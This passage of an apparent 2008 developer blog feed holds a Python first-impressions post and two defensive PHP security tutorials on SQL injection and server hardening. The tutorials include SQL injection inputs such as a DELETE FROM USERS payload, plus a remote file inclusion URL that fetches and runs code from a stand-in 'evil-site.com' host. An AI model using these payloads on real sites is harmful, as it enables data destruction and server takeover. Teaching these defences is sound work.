<p>The number one tool for making Python easy for beginners would have to be the interactive shell. There have been countless times when I&#8217;ve just jumped over to the shell to test how certain Python functions work. Even copying and playing with examples in the Dive Into Python book helps you better absorb the information. In other languages testing functionality would mean I&#8217;d need to create a new file, add my code, save it to a temporary location and then execute it. The interactive shell actively encourages me to experiment with how object behave, rather than adopting a cargo-cult mentality of just using what has worked in the past.</p>
<h2>The White Space Issue</h2>
<p>Python&#8217;s use of white space seems to be a big issue amongst those that are not familiar with the language. It was one of the objections that I faced when proposing it at work. It tends to put Python in the &#8220;weird language&#8221; basket, which is unfortunate. After using the language I&#8217;d say that the white space issue is largely irrelevant.</p>
<p>It does have some negative effects. It means you&#8217;ll have to watch out for tab/space issues, but a good IDE should do that for you. It also make refactoring a little bit more difficult; I like to sometimes comment out a conditional statements, but that is not possible in Python. Sometimes I also like to indent my code for readability, for example if I&#8217;m printing out HTML I&#8217;ll indent some child elements to indicate that they are related to previous lines. Again, that&#8217;s not possible. The biggest issue I see is that there is nothing stopping you from accidentally breaking the flow of your code. If you took a Python code file and removed the whitespace you can loose meaning:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #ff7700;font-weight:bold;">for</span> item <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">list</span>:
<span style="color: #ff7700;font-weight:bold;">if</span> item.<span style="color: black;">available</span>:
item.<span style="color: black;">update</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
item.<span style="color: black;">check_stock</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></div></div>

<p>It&#8217;s impossible to tell where the statements should be. Are we calling <em>check_stock </em>on every item, or just the available ones? Sure, this is contrived, but I can see something like this happening.</p>
<p>The advantages of the white space convention become very obvious very quickly. Python code is very compact. Not &#8220;what-the-hell-is-this-Perl-code-doing&#8221; compact, but actual readable compact non-ugly code. I&#8217;ve heard some people describe it as &#8220;prose&#8221;. That is going a bit far, but it is very neat and easy to read.</p>
<h2>Lists, Dicts and Tuples</h2>
<p>Python makes working with data sets incredibly easy. It has made me realise how much of my programming is actually just munging sets. Something I&#8217;d envisage as the driving part of a module can be converted from a nest of loops and conditional statements into a single line.</p>
<p>Python list comprehension is the magic that makes this happen. What makes it even better is that the code is just as readable, perhaps even more so, than the verbose multi-line version. Python&#8217;s syntax makes list invocations feel like a natural extension of for loops, meaning it is a great way to get programmers stuck in the imperative mindset on board.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#Hmmm</span>
new_list = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
<span style="color: #ff7700;font-weight:bold;">for</span> item <span style="color: #ff7700;font-weight:bold;">in</span> old_list:
    <span style="color: #ff7700;font-weight:bold;">if</span> item <span style="color: #66cc66;">%</span> <span style="color: #ff4500;">2</span> == <span style="color: #ff4500;">0</span>:
    new_list.<span style="color: black;">append</span><span style="color: black;">&#40;</span>item <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#Yay, list comprehensions sort it all out</span>
new_list = <span style="color: black;">&#91;</span>item <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">2</span> <span style="color: #ff7700;font-weight:bold;">for</span> item <span style="color: #ff7700;font-weight:bold;">in</span> old_list <span style="color: #ff7700;font-weight:bold;">if</span> item <span style="color: #66cc66;">%</span> <span style="color: #ff4500;">2</span> == <span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span></pre></div></div>

<p>I&#8217;ve used map and filter functions to do the same thing in the past, but the lambda functions feel like they are out of place when transforming a list.</p>
<h2>Syntactic Sugar</h2>
<p>People love to repeatedly trot out one or two new features in the blog posts they write when they&#8217;ve just discovered a language. I&#8217;m no different. However I usually end up look at these contrived examples with a skeptical &#8220;but how often do you really use that?&#8221; So I&#8217;ll do you a favour and share some features that will become second nature to you in Python.</p>
<p>Tuple (and list) unpacking is a really neat feature. It makes a lot of code very concise. In this example the <em>range</em> function returns a list of [0, 1, 2]. The values are unpacked and assigned to the three variables a, b and c.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">a, b, c = <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span></pre></div></div>

<p>This gives you the cool feature of multiple return values in a way that fits into the language and doesn&#8217;t feel bolted on. Even better, it does it without needing to implement some one-off syntax to achieve it. You can use the same unpacking feature anywhere in your code. And yes, you will use it.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;">data = <span style="color: black;">&#91;</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">1</span>, <span style="color: #ff4500;">3</span><span style="color: black;">&#41;</span>, <span style="color: black;">&#40;</span><span style="color: #ff4500;">3</span>, <span style="color: #ff4500;">6</span><span style="color: black;">&#41;</span>, <span style="color: black;">&#40;</span><span style="color: #ff4500;">4</span>, <span style="color: #ff4500;">7</span><span style="color: black;">&#41;</span><span style="color: black;">&#93;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#91;</span>x + y <span style="color: #ff7700;font-weight:bold;">for</span> x, y <span style="color: #ff7700;font-weight:bold;">in</span> data<span style="color: black;">&#93;</span>
<span style="color: #808080; font-style: italic;">#x and y are automatically unpacked</span></pre></div></div>

<p>Another neat feature is the way Python treats everything as an object. This means the following code is perfectly valid.</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #483d8b;">&quot;!&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">5</span>
<span style="color: #483d8b;">&quot;Hello world&quot;</span>.<span style="color: black;">split</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
<span style="color: #483d8b;">&quot;, &quot;</span>.<span style="color: black;">join</span><span style="color: black;">&#40;</span>values<span style="color: black;">&#41;</span></pre></div></div>

<p>Note that join works on the string variable, not a list as you may expect. This is not as widely used as the tuple unpacking, but does have it&#8217;s place with string munging.</p>
<h2>Modules</h2>
<p>One of the (few) compliments given to PHP is that it has modules for pretty much anything. From my experience, albeit limited, with Python I&#8217;d have to say that it deserves the same accolades. The project I have been working on has made use of threads, queues, HTTP servers and clients, config and command line parsers as well as sub processes (including writing to <em>stdin </em>and reading <em>stdout</em>). Everything I&#8217;ve wanted has been available as a pre-packaged module. (OK, I lie, I wanted a HTML generator. I ended up downloading <a href="http://markup.sourceforge.net/">markup.py</a> and was up and running in a couple of minutes). Each of the pre-packaged modules seems well written too. Their components can be set up and used with little or no boilerplate and does what I need with very few exceptions.</p>
<p>The actual module system is a welcome sight for a PHP programmer. It&#8217;s a lot better than the &#8220;throw everything into the global namespace&#8221; method I&#8217;ve grown used to. It also means you can be sure that your required modules actually exist at runtime, instead of facing the prospect of your program failing mid-execution with &#8220;function X does not exist&#8221;</p>
<h2>Documentation</h2>
<p>PHP has spoilt me with its fantastic documentation. Python documentation is adequate, but it could be better. The API reference shows the functions and classes within a module, but could benefit code examples, gotchas and so on. It would also be great to find more links between related parts of the Python documentation. Usually I&#8217;ll need to supplement the Python documentation with a Google search for more information. PHP&#8217;s comment section is great in this regard. If someone posts to the documentation then they usually have something worth saying.</p>
<h2>It&#8217;s Guido</h2>
<p>One cools thing I&#8217;ve noticed when searching for Python examples is that <a href="http://www.python.org/~guido/">Guido van Rossum&#8217;s</a> name keeps appearing all over the place. I don&#8217;t know much about Guido, but it&#8217;s cool to see a language creator being so heavily involved in his creation. It is a kind of vote of confidence that makes me feel the language is worth learning.</p>
<h2>Am I a Convert?</h2>
<p>So, Python&#8217;s a great language, but am I a convert? Is this the end of PHP for me? Well, no. It&#8217;s a bit soon to be making that call. I&#8217;ve only used the language for a few weeks, and the first couple of weeks in a new project are always the most productive.</p>
<p>There are still quite a few things I like about PHP too: its documentation, easy integration with Apache and the new OO features are making it much more bearable. My knowledge and experience with PHP is not something I want to throw away on a whim. I know PHP&#8217;s strengths and weaknesses. I know exactly how far I can push it before things go bad. That knowledge is not something to underestimate. At this stage Python is still an unknown. I have no idea how will it perform in a web environment or how it will handle itself under a large load.</p>
<p>So, Python is a language that I can choose to use when appropriate. I can honestly say it&#8217;s been enjoyable so far and I&#8217;ll look forward to learning more.</p>
<h2>So You Want More?</h2>
<p>If you want to learn Python right now then check out the free <a href="http://www.diveintopython.org/">Dive Into Python</a> book.</p>
<p>If you are looking for something more lightweight, then the <a href="http://www.poromenos.org/tutorials/python">Python in Ten Minutes</a> tutorial is a good one.</p>
<p>Unfortunately I can&#8217;t find anything that fills in the gaps between these two resources. If you do know of something then please let me know by leaving a comment below.</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/11/a-first-look-at-python/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Securing Your PHP Code &#8211; Databases</title>
		<link>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/</link>
		<comments>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 12:05:49 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/</guid>
		<description><![CDATA[SQL injection is a well trodden topic so I won&#8217;t go into too much detail.
For those who don&#8217;t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement "SELECT * FROM users WHERE name = '$name'" will fail if $name is set to ' [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.unixwiz.net/techtips/sql-injection.html">SQL injection</a> is a well trodden topic so I won&#8217;t go into too much detail.</p>
<p>For those who don&#8217;t know, the problem occurs when you fail to properly escape variables being placed into your strings. For example the SQL statement <code>"SELECT * FROM users WHERE name = '$name'"</code> will fail if $name is set to <code>' or '1' = '1</code>. The string will be expanded to produce <code>SELECT * FROM users WHERE name = '' or '1' = '1'</code>. This is obviously not what you wanted, and could lead to very bad results when coupled with DELETE or UPDATE queries.</p>
<p><span id="more-11"></span></p>
<p>Some database libraries (but not MySQL&#8217;s PHP extension) allow multiple SQL statements inside a single call, so if <code>$name</code> was set to <code>'; DELETE FROM USERS --</code> in the previous example the first query would be ended by the semicolon and a second query would then delete all users and open a comment so that your database will ignore any trailing characters.</p>
<h2>Magic Quotes</h2>
<p>PHP 4 introduced a feature called <a href="http://au2.php.net/magic_quotes">magic quotes</a> that was intended to combat SQL injection. It did this by automatically adding backslashes before any quotes or slashes in your scripts input ($_GET or $_POST). This is widely regarded as a major mistake, as it was tackling the issue in the wrong spot. If you&#8217;ve ever seen a page which leaves backslashes in your input (think O\&#8217;Connor) then you know what I mean.</p>
<p>Magic quotes were also a failure because developers couldn&#8217;t ever assume that they were available or turned on in a given environment. Therefore they&#8217;d need to check and manually quote values if necessary, meaning there was no added value. These days you will probably need to do the opposite and unquote values when magic quotes are enabled. The <a href="http://au2.php.net/magic_quotes">comments</a> in PHP&#8217;s manual page offer a method of doing this.</p>
<h2>A Better Solution</h2>
<p>The solution to SQL injecting is to stop thinking of SQL as a single string and start thinking of it as a command with arguments. To do this you must define the SQL statement and arguments separately. The <a href="http://au2.php.net/mysqli">MySQL Improved Extension (mysqli)</a> and <a href="http://au2.php.net/pdo">PHP Data Objects</a> library both offer prepared statements which will allow you to define a query, and then to define the values for arguments inside the query.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$stmt</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$dbh</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">prepare</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;INSERT INTO REGISTRY (name, value) VALUES (:name, :value)&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindValue</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">':name'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$name</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">bindValue</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">':value'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$stmt</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">execute</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>If you feel that prepared statements are not for you then you can still define your SQL and arguments separately. I recommend using <code><a href="http://www.php.net/sprintf">sprintf</a></code> do this.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #990000;">sprintf</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SELECT * FROM user
			WHERE name = '<span style="color: #009933; font-weight: bold;">%s</span>'
			AND id &gt; <span style="color: #009933; font-weight: bold;">%d</span>&quot;</span><span style="color: #339933;">,</span>
		<span style="color: #990000;">mysqli_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$db</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
		<span style="color: #990000;">mysqli_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$id</span><span style="color: #339933;">,</span> <span style="color: #000088;">$db</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>This is a little more verbose than what you are probably used to, but it makes it easy to see when a value has not been escaped. The escape function needs your DB link because it will match the encoding that your database is using. This gives you extra security against SQL injections. I use <a href="http://www.php.net/func_get_args">func_get_args</a> and <a href="http://www.php.net/vsprintf">vsprintf</a> to create a function to do the querying and escaping in a single function.</p>
<h2>Final Tips</h2>
<p>Your final line of defence against SQL injection is to plan for the worst.</p>
<p>Make sure that the MySQL user your website is using only has the permissions it needs, and no more. You should set up a new user with INSERT, UPDATE, DELETE and SELECT permissions on your current tables only.</p>
<p>It is a good idea to perform rolling database backups on a regular basis. This will obviously protect against database corruption, but could also make the difference between a vulnerability being a short outage or a complete loss of data.</p>
<p>You should avoid printing your SQL errors (e.g. <code>mysql_error()</code>) if your database calls fail. This can give attackers clues as to where you have errors in your code. It also looks unprofessional.</p>
<h2>Physical Access</h2>
<p>Even if your security is foolproof (which it won&#8217;t ever be) then you&#8217;re still in trouble if someone steals a physical device containing your data. Time and time again you&#8217;ll hear of someone stealing a laptop or discs containing <a href="http://news.bbc.co.uk/2/hi/uk_news/politics/7128851.stm">sensitive information</a>. Often these is no reason for the data to be in such a vulnerable location in the first place. If you do need to copy data from your secure setup then encrypting it is a very good idea.</p>
<h2>General Security Rules</h2>
<p>I hope this tutorial has made you aware of some of the security issues you&#8217;ll be up against as a PHP developer. I&#8217;d like to leave you with a few tips that aren&#8217;t specific to any security issue, but are good to keep in mind.</p>
<ul>
<li>Build on the work of others. Don&#8217;t build your own security when you can use what other, smarter, people have already done.</li>
<li>Where possible use whitelists instead of blacklists.</li>
<li>Never trust your user&#8217;s input. Ever.</li>
</ul>
<h2>Other articles in this series</h2>
<ul>
<li><a href="../securing-your-php-code-xss/">Securing Your PHP Code &#8211; XSS</a></li>
<li><a href="../securing-your-php-code-server-security/">Securing Your PHP Code &#8211; Server Security</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/05/securing-your-php-code-databases/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Securing Your PHP Code &#8211; Server Security</title>
		<link>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/</link>
		<comments>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/#comments</comments>
		<pubDate>Sat, 05 Apr 2008 12:04:37 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-sercurity/</guid>
		<description><![CDATA[When protecting your server environment you&#8217;ll want to ensure that two things happen. Firstly, you&#8217;ll want to keep your scripts from prying eyes; you want to make sure that you don&#8217;t accept input that will break your code. Secondly, and most importantly, you want to stop anyone from executing their own code on your servers.

Keeping [...]]]></description>
			<content:encoded><![CDATA[<p>When protecting your server environment you&#8217;ll want to ensure that two things happen. Firstly, you&#8217;ll want to keep your scripts from prying eyes; you want to make sure that you don&#8217;t accept input that will break your code. Secondly, and most importantly, you want to stop anyone from executing their own code on your servers.</p>
<p><span id="more-12"></span><br />
<h2>Keeping Code Private</h2>
<p>There are many reasons why you would want to keep your code from being leaked. It may contain passwords or API keys, it could give attackers an idea of where your code is vulnerable or you might just not want some idiot to nick your code and benefit from your hard work.</p>
<p>Of course everyone knows that <a href="http://en.wikipedia.org/wiki/Security_through_obscurity">security by obscurity is bad</a>, but if you have holes in your code then it&#8217;s obviously better if other people didn&#8217;t know about them.</p>
<p>The number one rookie mistake is failing to give your PHP scripts a .php extension. This may seem obvious, but lots of people seem to like naming their files something like &#8220;functions.inc&#8221; or &#8220;MyClass.class&#8221;, seemingly unaware that anyone can request those files and view the raw code.</p>
<p>As well as giving files a correct extension you also consider moving them out of your web root anyway. You don&#8217;t need them in there, and having them in a non-public path makes everything safer. If you don&#8217;t want to rearrange your site structure then you could just use .htaccess to deny all requests to your include folder. In your-site.com/includes/.htaccess</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">Deny from all</pre></div></div>

<p>Facebook recently had a <a href="http://killersoft.com/randomstrings/2007/08/12/php-did-not-cause-facebook-code-leakage/">configuration</a> <a href="http://www.techcrunch.com/2007/08/11/facebook-source-code-leaked/">issue</a> that caused their PHP files to be sent out as plain text. It only takes one small mistake to show the entire world the code base stored in your web root.</p>
<h2>Remote Code Execution</h2>
<p>The last thing you ever want is to have an attacker run their own code on your servers. Unfortunately there are a few simple mistakes that could open your site up to this possibility.</p>
<p>Watch what you include or require. Many people use include as a shortcut in their templates. For example</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">&lt;html&gt;
&lt;body&gt;
	&lt;div class=&quot;header&quot;&gt;...&lt;/div&gt;
	<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
&lt;/body&gt; 	
&lt;/html&gt;</pre></div></div>

<p>This is a major no-no. The first problem is that an attacker can use this vulnerability to have any file on your system output to them. <code>/etc/passwd</code>. PHP will also allow you to include files from a remote server. An attacker can use this &#8220;feature&#8221; against you a request to <code>http://www.your-site.com/index.php?page=</code><code>http://www.evil-site.com/malicious-script.php.txt</code> would force your server to download and execute code from the &#8220;evil-site.com&#8221; domain. Once that happens the user can attack your system by executing <a href="http://kestas.kuliukas.com/Webkit/">shell functions</a>.</p>
<p>If you want to use the above pattern of templating then you can easily implement a white list of safe files.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'page'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$pages</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'index'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'about'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'404'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'help'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$page</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pages</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$page</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'404'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">include</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$page</span>.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<h2>Register Globals</h2>
<p>In the early days of PHP, external variables ($_GET, $_POST) were expanded as variables directly into the global scope: a query string of &#8220;?a=foo&#8221; would create a variable called <code>$a</code> in your local scope. This is thanks to the register globals functionality. Although this could seem useful, it is <a href="http://www.php.net/register_globals">potentially dangerous</a>. You should always turn off register globals in php.ini. If you can&#8217;t edit your php.ini then add the following to your .htaccess file</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;">php_value register_globals <span style="color: #cc66cc;">0</span></pre></div></div>

<h2>User Uploaded Files</h2>
<p>Apache is set to pass any file with a &#8220;php&#8221; extension through to PHP. This means you have to be careful when storing user-uploaded files in your public directories. You may choose to allow users to upload their own avatar. It you keep the name given to the file by the user then you could be in for some trouble.</p>
<h2>Form Validation</h2>
<p>One final word of warning: don&#8217;t be tempted to leave any data validation to the client side. You might have written a nifty JavaScript function that does everything for you, but don&#8217;t just leave it at that. You should always write your PHP validating first (and also use your database rules where possible). JavaScript validation is something you should attempt when everything else works perfectly, and should be approached as a way of speeding things up for the end user.</p>
<h2>Other articles in this series</h2>
<ul>
<li><a href="../securing-your-php-code-xss/">Securing Your PHP Code &#8211; XSS</a></li>
<li><a href="../securing-your-php-code-databases/">Securing Your PHP Code &#8211; Databases</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2008/04/05/securing-your-php-code-server-security/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
